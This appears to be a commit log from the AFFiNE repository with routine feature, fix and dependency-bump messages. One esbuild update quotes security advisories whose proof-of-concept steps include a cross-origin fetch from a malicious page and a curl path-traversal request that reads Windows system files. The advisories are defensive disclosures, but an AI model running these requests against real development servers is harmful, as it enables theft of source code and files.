Generalized the pino disclosure's mechanism — any library that reads a
string option via plain member access and dynamic-loads it (via
`import()` / `require()` / `new Worker()`) is a candidate. Ran a sweep
across 10 candidate libraries; piscina + fastify (via pino propagation)
fired. Piscina is independently vulnerable through its own option-read
sites, hence this separate disclosure.

#### Severity
- CVSS Score: 8.1 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`

#### References
-
[https://github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg](https://redirect.github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg)
-
[https://github.com/advisories/GHSA-x9g3-xrwr-cwfg](https://redirect.github.com/advisories/GHSA-x9g3-xrwr-cwfg)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-x9g3-xrwr-cwfg)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>piscinajs/piscina (piscina)</summary>

###
[`v5.2.0`](https://redirect.github.com/piscinajs/piscina/compare/v5.1.4...v5.2.0)

[Compare
Source](https://redirect.github.com/piscinajs/piscina/compare/v5.1.4...v5.2.0)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMzEuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIzMS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-19 12:18:17 +08:00
Tines Valen e2624d93c7 fix(core): filters emojipicker on label in addition to tags (#15129)
Fixes #15116 
# Issue
Emojipicker keyword filtering only filtered on `tags`, and not `label`.
So searching for an emoji's name would not result in said emoji ending
up in the result. E.G. searching "sunflower" does not make 🌻 appear

# Solution
Adding an extra condition to the filter function to check if the keyword
is a substring of an emoji's label

# Result
Search results now include emojis with that `label`

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Improved emoji picker search to include matches on both emoji labels
and tags (case-insensitive), enabling broader search results for better
discoverability.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-18 22:07:27 +08:00
renovate[bot] 766219d4e1 chore: bump up nestjs to v11.1.27 (#15130)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [@nestjs/common](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common))
| [`11.1.24` →
`11.1.27`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/11.1.24/11.1.27)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/11.1.27?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/11.1.24/11.1.27?slim=true)
|
| [@nestjs/core](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core))
| [`11.1.24` →
`11.1.27`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/11.1.24/11.1.27)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/11.1.27?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/11.1.24/11.1.27?slim=true)
|
| [@nestjs/platform-express](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express))
| [`11.1.24` →
`11.1.27`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/11.1.24/11.1.27)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/11.1.27?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/11.1.24/11.1.27?slim=true)
|
| [@nestjs/platform-socket.io](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io))
| [`11.1.24` →
`11.1.27`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/11.1.24/11.1.27)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/11.1.27?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/11.1.24/11.1.27?slim=true)
|
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets))
| [`11.1.24` →
`11.1.27`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/11.1.24/11.1.27)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/11.1.27?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/11.1.24/11.1.27?slim=true)
|

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/5188) for more information.

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

###
[`v11.1.27`](https://redirect.github.com/nestjs/nest/releases/tag/v11.1.27)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v11.1.26...v11.1.27)

#### What's Changed

- fix(core): sse async handlers teardown issue by
[@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec) in
[#&#8203;17131](https://redirect.github.com/nestjs/nest/pull/17131)
- fix(platform-fastify): forRoutes middleware ending slash by
[@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec) in
[#&#8203;17138](https://redirect.github.com/nestjs/nest/pull/17138)

**Full Changelog**:
<https://github.com/nestjs/nest/compare/v11.1.26...v11.1.27>

###
[`v11.1.26`](https://redirect.github.com/nestjs/nest/releases/tag/v11.1.26)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v11.1.25...v11.1.26)

#### What's Changed

- fix(core): post sse endpoint empty response
[#&#8203;17098](https://redirect.github.com/nestjs/nest/issues/17098) by
[@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec) in
[#&#8203;17099](https://redirect.github.com/nestjs/nest/pull/17099)

**Full Changelog**:
<https://github.com/nestjs/nest/compare/v11.1.25...v11.1.26>

###
[`v11.1.25`](https://redirect.github.com/nestjs/nest/compare/v11.1.24...02f804159841a2771755c382832a7938b904c420)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v11.1.24...v11.1.25)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMTkuMCIsInVwZGF0ZWRJblZlciI6IjQzLjIxOS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-18 22:06:24 +08:00
renovate[bot] 01d7ef88e3 chore: bump up esbuild version to ^0.28.0 [SECURITY] (#15128)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [esbuild](https://redirect.github.com/evanw/esbuild) | [`^0.25.12` →
`^0.28.0`](https://renovatebot.com/diffs/npm/esbuild/0.25.12/0.28.1) |
![age](https://developer.mend.io/api/mc/badges/age/npm/esbuild/0.28.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/esbuild/0.25.12/0.28.1?slim=true)
|

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/5188) for more information.

---

### esbuild enables any website to send any requests to the development
server and read the response

[GHSA-67mh-4wv8-2f99](https://redirect.github.com/advisories/GHSA-67mh-4wv8-2f99)

<details>
<summary>More information</summary>

#### Details
##### Summary

esbuild allows any websites to send any request to the development
server and read the response due to default CORS settings.

##### Details

esbuild sets `Access-Control-Allow-Origin: *` header to all requests,
including the SSE connection, which allows any websites to send any
request to the development server and read the response.


https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121

https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363

**Attack scenario**:

1. The attacker serves a malicious web page
(`http://malicious.example.com`).
1. The user accesses the malicious web page.
1. The attacker sends a `fetch('http://127.0.0.1:8000/main.js')` request
by JS in that malicious web page. This request is normally blocked by
same-origin policy, but that's not the case for the reasons above.
1. The attacker gets the content of `http://127.0.0.1:8000/main.js`.

In this scenario, I assumed that the attacker knows the URL of the
bundle output file name. But the attacker can also get that information
by

- Fetching `/index.html`: normally you have a script tag here
- Fetching `/assets`: it's common to have a `assets` directory when you
have JS files and CSS files in a different directory and the directory
listing feature tells the attacker the list of files
- Connecting `/esbuild` SSE endpoint: the SSE endpoint sends the URL
path of the changed files when the file is changed (`new
EventSource('/esbuild').addEventListener('change', e =>
console.log(e.type, e.data))`)
- Fetching URLs in the known file: once the attacker knows one file, the
attacker can know the URLs imported from that file

The scenario above fetches the compiled content, but if the victim has
the source map option enabled, the attacker can also get the
non-compiled content by fetching the source map file.

##### PoC

1. Download
[reproduction.zip](https://redirect.github.com/user-attachments/files/18561484/reproduction.zip)
2. Extract it and move to that directory
1. Run `npm i`
1. Run `npm run watch`
1. Run `fetch('http://127.0.0.1:8000/app.js').then(r =>
r.text()).then(content => console.log(content))` in a different
website's dev tools.


![image](https://redirect.github.com/user-attachments/assets/08fc2e4d-e1ec-44ca-b0ea-78a73c3c40e9)

##### Impact

Users using the serve feature may get the source code stolen by
malicious websites.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N`

#### References
-
[https://github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99)
-
[https://github.com/evanw/esbuild/commit/de85afd65edec9ebc44a11e245fd9e9a2e99760d](https://redirect.github.com/evanw/esbuild/commit/de85afd65edec9ebc44a11e245fd9e9a2e99760d)
-
[https://github.com/advisories/GHSA-67mh-4wv8-2f99](https://redirect.github.com/advisories/GHSA-67mh-4wv8-2f99)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-67mh-4wv8-2f99)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### esbuild allows arbitrary file read when running the development
server on Windows

[GHSA-g7r4-m6w7-qqqr](https://redirect.github.com/advisories/GHSA-g7r4-m6w7-qqqr)

<details>
<summary>More information</summary>

#### Details
##### Summary

The development server contains a path traversal vulnerability on
Windows when serving files from `servedir`.

Due to the use of `path.Clean()` (which only normalizes forward-slash
`/` separators) instead of a Windows-aware path normalization function,
it is possible to craft requests using backslashes (`\`) that bypass the
intended directory containment logic. An attacker can escape the
configured `servedir` root and access arbitrary files on the filesystem.
This issue affects Windows environments only.

##### Details

The request path is sanitized using:
```go
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165
queryPath := path.Clean(req.URL.Path)[1:]
```

However:
- `path.Clean()` is POSIX-style and only understands `/` (docs:
`https://pkg.go.dev/path#Clean`)
- On Windows, `\` is a valid path separator
- `path.Clean()` does not treat `\` as a separator

Later, the server constructs the absolute path:
```go
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L221
absPath := h.fs.Join(h.servedir, queryPath)
```

If `queryPath` contains sequences such as:
```
..\..\..\..\..\..\..\Windows\system.ini
```

`path.Clean()` will not normalize them, but the Windows filesystem will
interpret `\` as directory separators when resolving `absPath`.
Because the implementation does not verify that the final resolved path
remains within `servedir`, it allows directory traversal outside the
intended root directory.

##### Vulnerable Code

```go
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165
	queryPath := path.Clean(req.URL.Path)[1:]
	....
	// Check for a file in the "servedir" directory
	if h.servedir != "" && kind != fs.FileEntry {
		absPath := h.fs.Join(h.servedir, queryPath)
		if absDir := h.fs.Dir(absPath); absDir != absPath {
			if entries, err, _ := h.fs.ReadDirectory(absDir); err == nil {
				if entry, _ := entries.Get(h.fs.Base(absPath)); entry != nil && entry.Kind(h.fs) == fs.FileEntry {
	....				
```

##### Steps to reproduce

```
npm install --save-exact --save-dev esbuild

echo "console.log(1)" > app.js

.\node_modules\.bin\esbuild --version
0.27.3

.\node_modules\.bin\esbuild app.js --bundle --outdir=www --servedir=www --watch

curl -i --path-as-is "http://localhost:8000/..\..\..\..\..\..\..\Windows\system.ini"
<content of Windows\system.ini>
```

##### Impact

- Arbitrary file read on Windows
- Exposure of sensitive files

#### Severity
- CVSS Score: 2.5 / 10 (Low)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N`

#### References
-
[https://github.com/evanw/esbuild/security/advisories/GHSA-g7r4-m6w7-qqqr](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-g7r4-m6w7-qqqr)
-
[https://github.com/evanw/esbuild/releases/tag/v0.28.1](https://redirect.github.com/evanw/esbuild/releases/tag/v0.28.1)
-
[https://github.com/advisories/GHSA-g7r4-m6w7-qqqr](https://redirect.github.com/advisories/GHSA-g7r4-m6w7-qqqr)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-g7r4-m6w7-qqqr)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>evanw/esbuild (esbuild)</summary>

###
[`v0.28.1`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0281)

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.28.0...v0.28.1)

- Disallow `\\` in local development server HTTP requests
([GHSA-g7r4-m6w7-qqqr](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-g7r4-m6w7-qqqr))

This release fixes a security issue where HTTP requests to esbuild's
local development server could traverse outside of the serve directory
on Windows using a `\\` backslash character. It happened due to the use
of Go's `path.Clean()` function, which only handles Unix-style `/`
characters. HTTP requests with paths containing `\\` are no longer
allowed.

Thanks to [@&#8203;dellalibera](https://redirect.github.com/dellalibera)
for reporting this issue.

- Add integrity checks to the Deno API
([GHSA-gv7w-rqvm-qjhr](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-gv7w-rqvm-qjhr))

The previous release of esbuild added integrity checks to esbuild's npm
install script. This release also adds integrity checks to esbuild's
Deno install script. Now esbuild's Deno API will also fail with an error
if the downloaded esbuild binary contains something other than the
expected content.

Note that esbuild's Deno API installs from `registry.npmjs.org` by
default, but allows the `NPM_CONFIG_REGISTRY` environment variable to
override this with a custom package registry. This change means that the
esbuild executable served by `NPM_CONFIG_REGISTRY` must now match the
expected content.

Thanks to [@&#8203;sondt99](https://redirect.github.com/sondt99) for
reporting this issue.

- Avoid inlining `using` and `await using` declarations
([#&#8203;4482](https://redirect.github.com/evanw/esbuild/issues/4482))

Previously esbuild's minifier sometimes incorrectly inlined `using` and
`await using` declarations into subsequent uses of that declaration,
which then fails to dispose of the resource correctly. This bug happened
because inlining was done for `let` and `const` declarations by avoiding
doing it for `var` declarations, which no longer worked when more
declaration types were added. Here's an example:

  ```js
  // Original code
  {
    using x = new Resource()
    x.activate()
  }

  // Old output (with --minify)
  new Resource().activate();

  // New output (with --minify)
  {using e=new Resource;e.activate()}
  ```

- Fix module evaluation when an error is thrown
([#&#8203;4461](https://redirect.github.com/evanw/esbuild/issues/4461),
[#&#8203;4467](https://redirect.github.com/evanw/esbuild/pull/4467))

If an error is thrown during module evaluation, esbuild previously
didn't preserve the state of the module for subsequent module
references. This was observable if `import()` or `require()` is used to
import a module multiple times. The thrown error is supposed to be
thrown by every call to `import()` or `require()`, not just the first.
With this release, esbuild will now throw the same error every time you
call `import()` or `require()` on a module that throws during its
evaluation.

- Fix some edge cases around the `new` operator
([#&#8203;4477](https://redirect.github.com/evanw/esbuild/issues/4477))

Previously esbuild incorrectly printed certain edge cases involving
complex expressions inside the target of a `new` expression
(specifically an optional chain and/or a tagged template literal). The
generated code for the `new` target was not correctly wrapped with
parentheses, and either contained a syntax error or had different
semantics. These edge cases have been fixed so that they now correctly
wrap the `new` target in parentheses. Here is an example of some
affected code:

  ```js
  // Original code
  new (foo()`bar`)()
  new (foo()?.bar)()

  // Old output
  new foo()`bar`();
  new (foo())?.bar();

  // New output
  new (foo())`bar`();
  new (foo()?.bar)();
  ```

- Fix renaming of nested `var` declarations
([#&#8203;4471](https://redirect.github.com/evanw/esbuild/issues/4471))

This release fixes a bug where `var` declarations in nested scopes that
are hoisted up to module scope were not correctly being renamed during
bundling. That could previously lead to name collisions when
minification was disabled, which could potentially cause a behavior
change. The bug has been fixed so that these hoisted declarations are
now considered to be module-level symbols during the name collision
avoidance pass.

- Emit `var` instead of `const` for certain TypeScript-only constructs
for ES5
([#&#8203;4448](https://redirect.github.com/evanw/esbuild/issues/4448))

While esbuild doesn't generally support converting `const` to `var` for
ES5 due to nested scoping rules (which is currently a build-time error),
esbuild previously incorrectly converted TypeScript-only `import`
assignment constructs into a `const` declaration even when targeting
ES5. With this release, esbuild will now use `var` for this case
instead:

  ```js
  // Original code
  import x = require('y')

  // Old output (with --target=es5)
  const x = require("y");

  // New output (with --target=es5)
  var x = require("y");
  ```

### [`v0.28.0`]()

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.7...v0.28.0)

### [`v0.27.7`]()

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.5...v0.27.7)

### [`v0.27.5`]()

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.4...v0.27.5)

### [`v0.27.4`]()

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.3...v0.27.4)

### [`v0.27.3`]()

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.2...v0.27.3)

### [`v0.27.2`]()

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.1...v0.27.2)

### [`v0.27.1`]()

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.27.0...v0.27.1)

### [`v0.27.0`]()

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.26.0...v0.27.0)

### [`v0.26.0`]()

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.25.12...v0.26.0)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMTkuMCIsInVwZGF0ZWRJblZlciI6IjQzLjIxOS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-18 17:41:44 +08:00
DarkSky 154d9e975d fix: deps & config (#15126) 2026-06-18 14:41:48 +08:00
renovate[bot] 24e07f73bb chore: bump up capacitor-plugin-app-tracking-transparency version to v3 (#15079)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[capacitor-plugin-app-tracking-transparency](https://redirect.github.com/mahnuh/capacitor-plugin-app-tracking-transparency)
| [`^2.0.5` →
`^3.0.0`](https://renovatebot.com/diffs/npm/capacitor-plugin-app-tracking-transparency/2.0.5/3.0.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/capacitor-plugin-app-tracking-transparency/3.0.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/capacitor-plugin-app-tracking-transparency/2.0.5/3.0.0?slim=true)
|

---

### Release Notes

<details>
<summary>mahnuh/capacitor-plugin-app-tracking-transparency
(capacitor-plugin-app-tracking-transparency)</summary>

###
[`v3.0.0`](https://redirect.github.com/mahnuh/capacitor-plugin-app-tracking-transparency/releases/tag/v3.0.0)

[Compare
Source](https://redirect.github.com/mahnuh/capacitor-plugin-app-tracking-transparency/compare/v2.0.5...v3.0.0)

- Add support for Swift Package Manager
([#&#8203;29](https://redirect.github.com/mahnuh/capacitor-plugin-app-tracking-transparency/issues/29))
[`40051d6`](https://redirect.github.com/mahnuh/capacitor-plugin-app-tracking-transparency/commit/40051d6)
- Update README.md
[`d8c4d27`](https://redirect.github.com/mahnuh/capacitor-plugin-app-tracking-transparency/commit/d8c4d27)

***

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMDkuNCIsInVwZGF0ZWRJblZlciI6IjQzLjIwOS40IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2026-06-18 13:00:42 +08:00
DarkSky d500e472f0 chore: bump deps (#15124) 2026-06-18 12:55:18 +08:00
DarkSky 13d9fe506e feat(native): cleanup vendored deps (#15119)
#### PR Dependency Tree


* **PR #15119** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Breaking Changes**
* Removed major Rust public APIs related to document/CRDT encoding,
synchronization, and document loading from the affected packages.
* **Chores**
* Migrated internal dependency usage to published crates and trimmed the
Rust workspace/feature surface.
* **CI/CD**
* Simplified the Rust CI pipeline by removing advanced testing jobs and
updating job dependencies.
* **Dev/Test/Bench**
* Removed associated benchmark and fuzzing artifacts and related
fixture/test utilities.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-18 02:55:30 +08:00
DarkSky 1256d66938 fix(server): sync permission check (#15123)
fix #15121



#### PR Dependency Tree


* **PR #15123** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Security Improvements**
* Enforced document-level `Doc.Read`/`Doc.Update` checks for key sync
websocket operations, including filtering workspace doc timestamp
results to only readable documents.
* Improved remote permission handling: once a remote denies access,
syncing stops for the affected document and retry behavior is
suppressed.
* **Improvements**
* `delete-doc` now relies on server acknowledgment and returns an
explicit `{ success: true }`.
* Websocket acknowledgment errors are now normalized for consistent
error details.
* **Tests**
* Expanded permission-denied and websocket error-handling coverage,
including timestamp filtering and no-retry behavior after permission
denial.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-18 02:43:25 +08:00
DarkSky da7781a751 feat(mobile): improve android edgeless & ci (#15118)
#### PR Dependency Tree


* **PR #15118** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Improved mobile CI workflow with change-aware Android/iOS build jobs
and updated completion dependencies so tests wait for the relevant
mobile builds.
* **Performance / App Behavior**
* Enhanced Android WebView behavior: improved viewport/WebView tuning,
disabled zoom and scrollbars, and made mixed-content allowance
environment-aware (debug vs non-debug).
* Adjusted Android cleartext traffic handling based on build/debug
settings and Capacitor server URL configuration.
* **Tests**
* Strengthened Electron BYOK storage tests with per-test temporary
directories, mock control, and added coverage for when secure storage is
unavailable.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-17 02:08:15 +08:00
keepClamDown a77d89bb1a fix(editor): edgeless can't slider with finger (#15091)
fix bug edgeless can't slider with finger 

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added mobile immersive edgeless mode with dynamic chrome auto-hide and
tap-gesture controls.
  * Added a mobile zoom ruler UI for edgeless.
* **Bug Fixes**
* Improved iOS rendering/zoom by applying low-zoom survival behavior,
gesture-aware refresh deferral, and effective-DPR canvas scaling.
* Fixed iOS webview zoom/bounce and process-termination reload behavior.
  * Improved placeholder styling with theme-aware colors.
* **Chores**
  * Updated local ignore rules and iOS app build/version configuration.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <darksky2048@gmail.com>
2026-06-16 21:19:31 +08:00
YashTomar2201 c51bdb74de fix: resolve renovate configuration validation error (#15104)
Fixes #15101 

### What this PR does
Resolves a Renovate configuration error where the bot stopped processing
PRs due to invalid settings in `.github/renovate.json`.

### The Bug
The 4th rule in the `packageRules` array was combining the `*` wildcard
with negated regex patterns (`!/^@blocksuite//`, `!/oxlint/`) inside the
`matchPackageNames` field, which violates Renovate's current validation
schema.

### The Fix
* Kept the `*` wildcard isolated inside `matchPackageNames`.
* Extracted the negative lookaheads and moved them to their dedicated
`excludePackagePatterns` array.
* Cleaned up the regex formatting for the exclusion patterns.

*Note: This configuration was successfully verified locally using `npx
renovate-config-validator`.*

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Refined dependency update configuration: broadened the non-major npm
package rule to apply to all packages while explicitly excluding
selected packages from automated updates.
* Adjusted exclusion patterns to replace prior negation-based logic with
clearer exclusion entries for specific packages.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-15 17:26:10 +08:00
Juan Abimael Santos Castillo ac3c93ccfa fix(editor): render strikethrough on links (#15109)
**Issue**

Strikethrough on a link doesn't render. The toolbar button highlights
but no line
appears (#15106).

**Solution**

affine-link hardcoded text-decoration: none in the override it passes to
affineTextStyles, which clobbered the decoration computed from
strike/underline.
Removing it fixes the render; plain links still show no underline
because
affineTextStyles returns none by default.

**Result**

Strikethrough and underline render on links again. Added an e2e test: a
plain link
stays undecorated, a struck link renders line-through, red before the
fix and green
after.

fix #15106

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Fixed link text-decoration styling to properly support strikethrough
and other text formatting when applied to links.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-14 19:34:36 +08:00
DarkSky 6a2b73e76f feat(editor): improve database & table behavior (#15100)
fix #14982
fix #15028
fix #15099

#### PR Dependency Tree


* **PR #15100** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Prevented Enter handling during IME composition to avoid unintended
input.
* Avoided overwriting external native selections when interacting with
tables.
* Improved validation of inline text selection ranges for more reliable
behavior.

* **Enhancements**
* Scoped and refined text-selection styling and editability within
tables and cells.
  * Added managed sorting for Kanban views to control card ordering.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-11 13:50:23 +08:00
DarkSky 07a08e6d4d fix(editor): import & save logic (#15098)
fix #15080
fix #15085
fix #15031
fix #15094


#### PR Dependency Tree


* **PR #15098** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
  * Improved code-block paste behavior for plain-text insertion
  * Fixed block selection ordering to reflect document model
  * Made table cell formatting resilient to conversion errors
  * Ensured user feature list is consistently returned as an array

* **Refactor**
  * Streamlined authentication session fetch and profile enrichment flow

* **Tests**
  * Added tests for markdown blockquote list preservation
  * Added authentication session validation tests
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
